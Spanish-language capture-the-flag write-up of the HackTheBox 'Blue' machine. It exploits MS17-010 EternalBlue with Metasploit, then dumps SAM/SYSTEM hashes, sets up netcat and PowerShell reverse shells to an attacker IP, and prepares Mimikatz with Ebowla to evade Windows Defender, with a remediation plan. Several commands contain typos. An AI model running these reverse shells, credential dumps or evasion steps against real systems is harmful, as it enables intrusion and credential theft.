Post

HTB - Blue (MS17-010 EternalBlue)

HTB - Blue (MS17-010 EternalBlue)

HTB - Blue (MS17-010 EternalBlue)

Resumen Ejecutivo

Se realizó un compromiso exitoso contra la máquina Blue de HackTheBox, un sistema Windows 7 Professional Service Pack 1 que expone el servicio SMB (puerto 445) vulnerable a MS17-010 (EternalBlue). El vector de entrada fue la identificación del puerto 445 abierto y la confirmación de vulnerabilidad mediante nmap y nxc. Se utilizó el exploit ms17_010_eternalblue de Metasploit con payload windows/x64/meterpreter/reverse_https para obtener una sesión estable como NT AUTHORITY\SYSTEM. Durante la post-explotación se realizó:

  • Enumeración completa del sistema (variables de entorno, usuarios, red, procesos)
  • Estabilización de la shell con rlwrap
  • Dump de credenciales mediante extracción de hives SAM/SYSTEM
  • Evasión de Windows Defender usando Ebowla (Environmental Keyed Payloads)
  • Extracción de hashes NTLM para cracking offline

    Riesgos Identificados

RiesgoImpactoProbabilidadSeveridad
SMBv1 habilitadoCríticoConfirmado🔴 CRÍTICO
Null session habilitada (guest)AltoConfirmado🟠 ALTO
Message signing deshabilitadoAltoConfirmado🟠 ALTO
Ausencia de parche MS17-010CríticoConfirmado🔴 CRÍTICO
Windows Defender evadibleMedioConfirmado🟡 MEDIO

✅ Plan de Remediación

  1. Inmediato: Aplicar el parche de seguridad KB4012212 (MS17-010)
  2. Inmediato: Deshabilitar SMBv1 en el sistema
  3. Corto plazo: Habilitar firma de mensajes SMB (message signing)
  4. Corto plazo: Deshabilitar autenticación anónima (null sessions)
  5. Corto plazo: Rotar contraseñas de todos los usuarios locales
  6. Largo plazo: Migrar a Windows 10 o superior con soporte activo

    Machine Info

ClaveValor
NombreBlue
IP10.129.7.60
OSWindows 7 Professional 7601 Service Pack 1
Arquitecturax64 (AMD64)
HostnameHARIS-PC
WorkgroupWORKGROUP
Usuario obtenidoNT AUTHORITY\SYSTEM
SkillsSMB Enum, EternalBlue Exploit, Meterpreter, Credential Dumping, Antivirus Bypass
Fecha2026-06-01

Reconocimiento (Reconnaissance)

Target Scoping

  • IP Objetivo: 10.129.7.60
  • Hostname Detectado: HARIS-PC (por resolución inversa y escaneo SMB)
  • Sistema: Windows 7 Professional SP1 x64

    📡 Escaneo de Puertos

    Se realizó un escaneo completo de puertos TCP para identificar servicios activos:

1
2
3
4
# Escaneo rápido de todos los puertos TCP
sudo nmap -p- --open -sS --min-rate=2000 -n -Pn -v 10.129.7.60 -oN allPorts
# Escaneo detallado de servicios identificados
sudo nmap -p135,139,445,49152-49157 -sCV -v -Pn 10.129.7.60 -oN detailedServices
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m56s, deviation: 34m35s, median: 1s
| smb2-time: 
|   date: 2026-05-30T21:38:59
|_  start_date: 2026-05-30T21:18:23
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-05-30T22:39:00+01:00
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required

Análisis de resultados:

PuertoServicioRelevancia
445/tcpSMBCrítico - Vulnerable a MS17-010 si SMBv1 está habilitado
139/tcpNetBIOSEnumeración de recursos compartidos
135/tcpRPCComunicación entre procesos de Windows

Indicadores de vulnerabilidad:

  • message_signing: disabled → Permite ataques de relé SMB
  • account_used: guest → Autenticación anónima habilitada
  • SMBv1: True (detectado por nxc) → Vulnerable a EternalBlue

Enumeración SMB

Verificación con NetExec (nxc)

NetExec (anteriormente CrackMapExec) es una herramienta de post-explotación que permite enumerar recursos SMB de forma eficiente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nxc smb $(target)


❯ nxc smb $(target) -u 'guest' -p '' --shares
SMB         10.129.6.94     445    HARIS-PC         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.6.94     445    HARIS-PC         [+] haris-PC\guest: 
SMB         10.129.6.94     445    HARIS-PC         [*] Enumerated shares
SMB         10.129.6.94     445    HARIS-PC         Share           Permissions     Remark
SMB         10.129.6.94     445    HARIS-PC         -----           -----------     ------
SMB         10.129.6.94     445    HARIS-PC         ADMIN$                          Remote Admin
SMB         10.129.6.94     445    HARIS-PC         C$                              Default share
SMB         10.129.6.94     445    HARIS-PC         IPC$                            Remote IPC
SMB         10.129.6.94     445    HARIS-PC         Share           READ            
SMB         10.129.6.94     445    HARIS-PC         Users           READ   

Resultado:

1
2
SMB         10.129.6.94     445    HARIS-PC         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True) (Null Auth:True)

Interpretación:

  • signing:False → No se requiere firma de mensajes (vulnerable a ataques de relé)
  • SMBv1:True → Protocolo SMB versión 1 habilitado (requisito para EternalBlue)
  • Null Auth:True → Permite conexiones sin credenciales

Explotación (Exploitation)

MS17-010 EternalBlue con Metasploit

Contexto teórico: EternalBlue (CVE-2017-0144) es una vulnerabilidad en la implementación del protocolo SMBv1 de Windows. Permite a un atacante remoto ejecutar código arbitrario a nivel de kernel mediante el envío de paquetes especialmente manipulados. Fue filtrada por el grupo Shadow Brokers y utilizada por WannaCry y NotPetya.

Configuración del exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $(target)

set PAYLOAD windows/x64/shell_reverse_tcp
o
set PAYLOAD windows/x64/meterpreter/reverse_https

set LHOST <tu_ip>
set LPORT 443
check  # Para verificar vulnerabilidad
exploit

C:\Windows\system32>whoami
whoami
nt authority\system

Etsabilizando meterpreter y powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Dentro de Meterpreter, ejecutá PowerShell pero en modo interactivo forzado:
meterpreter > execute -f powershell.exe -i -H -c
# Parámetros:
# -i: Interactivo
# -H: Ocultar ventana
# -c: Usar canales de Meterpreter para I/O

# Si la shell de PowerShell se ve mal, usá esta técnica:

# Dentro de la shell de cmd (después de escribir "shell"):
powershell -NoLogo -Command "$Host.UI.RawUI.ForegroundColor='Green'; Write-Host 'PS> ' -NoNewline; while($true) { $cmd = Read-Host; if($cmd -eq 'exit') { break }; try { Invoke-Expression $cmd } catch { $_ } }"
# Esto te da un prompt de PowerShell básico pero funcional

# Cargar extensiones útiles
meterpreter > load powershell
[*] Loading extension powershell...
meterpreter > powershell_shell
# Esto te da una shell de PowerShell nativa dentro de Meterpreter

Enviando una bash interactiva con rlwrap

1
2
3
4
5
6
7
8
9
10
## Usando Netcat (si está en la víctima)

### Paso 1: En Kali - Iniciar listener con rlwrap

bash

# Instalar rlwrap si no está
sudo apt install rlwrap
# Iniciar listener mejorado
rlwrap nc -lvnp 4455

Meterpreter - Enviar la shell

1
2
3
4
5
6
7
8
9
10
# Verificar si netcat está en la víctima
meterpreter > search -f nc.exe
meterpreter > cmd.exe /c "where nc"
# Si no está, subirlo primero
meterpreter > upload /usr/share/windows-resources/binaries/nc.exe C:\\Windows\\Temp\\nc.exe
# Enviar reverse shell con netcat
meterpreter > execute -f C:\\Windows\\Temp\\nc.exe -a "-e cmd.exe <tu_ip_kali> 4455" -H -i

**Parámetros:**

Parámetros:

  • -f: Archivo a ejecutar
  • -a: Argumentos
  • -e cmd.exe: Ejecutar cmd.exe al conectar
  • -H: Ocultar ventana (background)
  • -i: Interactivo

Para tener una shell remota realmente usable en segundo plano

1
2
3
4
5
6
7
# En Kali, en otra terminal, levantá un listener con rlwrap:
rlwrap nc -lvnp 4455
# Desde Meterpreter, enviá una shell a ese puerto:
meterpreter > execute -f cmd.exe -a "/c nc.exe <tu_ip> 4455 -e cmd.exe" -H
# O si no tenés netcat en la víctima, creá una reverse shell con PowerShell:
meterpreter > execute -f powershell.exe -a "-NoP -NonI -W Hidden -Exec Bypass -Command `$client = New-Object System.Net.Sockets.TCPClient('<tu_ip>',4455);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0,`$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()" -H

Reconocimiento del sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
C:\Windows\system32>set  
set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=HARIS-PC
ComSpec=C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
PROCESSOR_LEVEL=25
PROCESSOR_REVISION=0101
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Windows\TEMP
TMP=C:\Windows\TEMP
USERDOMAIN=WORKGROUP
USERNAME=HARIS-PC$
USERPROFILE=C:\Windows\system32\config\systemprofile
windir=C:\Windows
windows_tracing_flags=3
windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile.log
---

C:\Windows\system32>systeminfo
systeminfo


Host Name:                 HARIS-PC
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          haris
Registered Organization:   
Product ID:                00371-222-9819843-86066
Original Install Date:     14/07/2017, 14:45:30
System Boot Time:          01/06/2026, 07:33:45
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,519 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,484 MB
Virtual Memory: In Use:    611 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 178 Hotfix(s) Installed.
                           [01]: KB2849697
......<More>
                           [178]: KB982018
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.10.2
                                 IP address(es)
                                 [01]: 10.129.7.60
                                 [02]: fe80::59cd:7145:d2d0:7dcf
                                 [03]: dead:beef::69b0:ca83:d230:1a4c
                                 [04]: dead:beef::59cd:7145:d2d0:7dcf


Dumpelando hash de la memoria

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cd c:\Winddows\Temp
reg save MKLM\system sytem.backaup
reg save MKLM\sam sam.backup

# En kali
impacket-smbserver smbFolder $(pwd) -smb2support

#otra vez victima
copy sam.backup \\$(target)\smbFolder\sam
copy system.backup \\$(target)\smbFolder\system


# En kali
impacket-sercretsdump -sam sam -system system LOCAL

🛡️ Evasión de Antivirus (Windows Defender Bypass)

Durante la post-explotación, se identificó que el sistema objetivo contaba con Windows Defender activo, lo que podía bloquear la ejecución de herramientas como Mimikatz. Para evadir esta protección, se implementaron técnicas de ofuscación y generación de payloads ambientales usando Ebowla y otras estrategias.


📦 Preparación de Mimikatz

Primero, se clonó el repositorio oficial de Mimikatz y se prepararon los binarios para su posterior ofuscación:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Clonar Mimikatz desde GitHub
cd /home/kali/Herramientas
sudo git clone https://github.com/gentilkiwi/mimikatz.git

# Verificar ubicación de los binarios
locate mimikatz.exe

# Copiar binarios a directorio de trabajo
cp /opt/mimikatz/Win32/mimikatz.exe .
cp /opt/mimikatz/x64/mimikatz.exe .

# Mover el binario de 64 bits al directorio de Ebowla
cp mimikatz/x64_mimikatz.exe Ebowla/mimikatz.exe

🧬 Configuración de Ebowla (Environmental Keyed Payloads)

Ebowla es un framework que genera payloads que solo se ejecutan cuando se cumplen condiciones ambientales específicas (archivos, procesos, claves de registro, etc.), lo que permite evadir sandboxes y antivirus.

Clonar e instalar dependencias
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Clonar Ebowla
git clone https://github.com/Genetic-Malware/Ebowla.git
cd Ebowla
# Instalar dependencias necesarias
sudo pip2 install pyinstaller
sudo pip2 install pycrypto

##### Configuración del archivo `genetic.config`

Se editó el archivo de configuración para definir:

- **output_type = GO** (genera payload ofuscado)
- **payload_type = EXE** (binario ejecutable)



nano genetic.config

# Cambiando la configuracion donde dice "output_type por GO" y donde dice "payload_type = shellcode por EXE"
output_type = 'GO'
payload_type = 'EXE'

### 🔧 Variables de Entorno

C:\Windows\system32>echo %username%
HARIS-PC$

C:\Windows\system32>echo %computername%
HARIS-PC

C:\Windows\system32>echo %userdomain%
WORKGROUP

C:\Windows\system32>echo %number_of_processors%
2

C:\Windows\system32>echo %processor_identifier%
AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD

C:\Windows\system32>echo %processor_revision%
0101

C:\Windows\system32>echo %systemdrive%
C:

C:\Windows\system32>echo %userprofile%
C:\Windows\system32\config\systemprofile

C:\Windows\system32>echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\

C:\Windows\system32>echo %temp%
C:\Windows\TEMP

Referencias Teóricas

¿Qué es EternalBlue (MS17-010)?

EternalBlue es una vulnerabilidad crítica en el protocolo SMBv1 (Server Message Block versión 1) de Microsoft Windows. Fue descubierta y utilizada por la NSA, luego filtrada por el grupo Shadow Brokers en abril de 2017.

Características técnicas:

  • CVE: CVE-2017-0144
  • CVSS Score: 9.3 (Crítico)
  • Afecta: Windows 7, Windows Server 2008 R2, Windows 8.1, Windows 10 (versiones sin parche)
  • Tipo: Buffer overflow en el kernel

¿Cómo funciona?

  1. El atacante envía un paquete SMB especialmente manipulado al puerto 445
  2. La vulnerabilidad permite escribir datos fuera de los límites del buffer asignado
  3. Esto permite ejecutar código arbitrario a nivel de kernel
  4. El código se ejecuta como NT AUTHORITY\SYSTEM

WannaCry (Mayo 2017)

El ransomware WannaCry utilizó EternalBlue para propagarse masivamente, infectando más de 200,000 equipos en 150 países. Afectó gravemente al NHS (Reino Unido), Telefónica (España), FedEx, entre otros.

Curiosidad: Un investigador de seguridad (MalwareTech) detuvo la propagación global registrando un dominio que el malware usaba como “kill switch”.

This post is licensed under CC BY 4.0 by the author.